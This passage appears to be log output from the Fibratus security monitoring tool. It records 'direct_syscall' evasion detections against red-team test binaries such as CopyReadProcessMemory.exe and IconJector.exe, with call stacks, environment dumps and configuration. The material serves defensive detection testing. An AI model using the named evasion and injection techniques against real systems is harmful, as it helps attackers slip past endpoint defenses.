["C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe" -f C:\Windows\System32\cmd.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff7dfd768ea C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdc8960 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8ba78 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd6f91c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd93501 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8f1de C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd94207 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8b57a C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8de7b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c0f C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb30ca C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb30ca C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c58 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb246b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb2df0 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c58 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c58 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd791df C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd7b622 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd895a9 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd47b3 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfda3df6 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd2467 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd6113 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec709 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec5ee C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec4ae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec79e C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T18:54:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T18:54:38+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T18:54:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:05:14+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T19:05:14+01:00 level=info msg=bootstrapping with pid 16864. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T19:05:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html port=>25 to=>[] use-template=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-dns=>false enable-audit-api=>true enable-mem=>true buffer-size=>512 max-buffers=>36 stack-enrichment=>true flush-interval=>1s enable-threadpool=>false enable-handle=>false min-buffers=>16 enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-vamap=>true enable-thread=>true enable-net=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true level=>info max-backups=>15 max-age=>0 max-size=>100] + output ......................... [ amqp=>[ delivery-mode=>transient routing-key=>fibratus durable=>false exchange-type=>topic exchange=>fibratus url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false vhost=>/ passive=>false timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] http=>[ enabled=>false serializer=>json tls-insecure-skip-verify=>false method=>POST endpoints=>[] enable-gzip=>false timeout=>5s] elasticsearch=>[ sniff=>false healthcheck=>true template-name=>fibratus bulk-workers=>1 index-name=>fibratus gzip-compression=>false trace-log=>false enabled=>false healthcheck-interval=>10s timeout=>5s flush-period=>1s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200]] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s fastscan=>true skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false excluded-procs=>[] skip-allocs=>false skip-registry=>false excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-06T19:05:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:05:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:05:28+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 810288 + Pid: 4164 + Tid: 15732 + Type: VirtualAlloc + CPU: 7 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:05:26.9891974 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 29555f8000, exe➜ C:\Fibratus\redteam\IconJector\bin\IconJector.exe, name➜ IconJector.exe, page_type➜ PRIVATE, pid➜ 4164, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 4164 + Ppid: 16112 + Name: IconJector.exe + Parent name: explorer.exe + Cmdline: "C:\Fibratus\redteam\IconJector\bin\IconJector.exe" + Parent cmdline: C:\WINDOWS\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding + Exe: C:\Fibratus\redteam\IconJector\bin\IconJector.exe + Cwd: C:\Fibratus\redteam\IconJector\bin\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\IconJector\bin\IconJector.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffaf1c0d656 C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffaf1c0e578 C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffaf1d111da C:\Windows\System32\windows.storage.dll!STORAGE_CreateStorageItemFromShellItem_FullTrustCaller_ForPackage|0x7ffaf20d432b C:\Windows\System32\windows.storage.dll!SHCreateShellItemArrayWithFolderParent|0x7ffaf1dbd7e0 C:\Windows\System32\windows.storage.dll!CCategoryProvider_CreateWithParams|0x7ffaf1d9dc69 C:\Windows\System32\windows.storage.dll!Ordinal740|0x7ffaf1c0d8e0 C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffaf1c7bdc7 C:\Windows\System32\windows.storage.dll!SHExtCoCreateInstanceString|0x7ffaf1c49015 C:\Windows\System32\windows.storage.dll!CShellItem_CreateInstance|0x7ffaf1c491c1 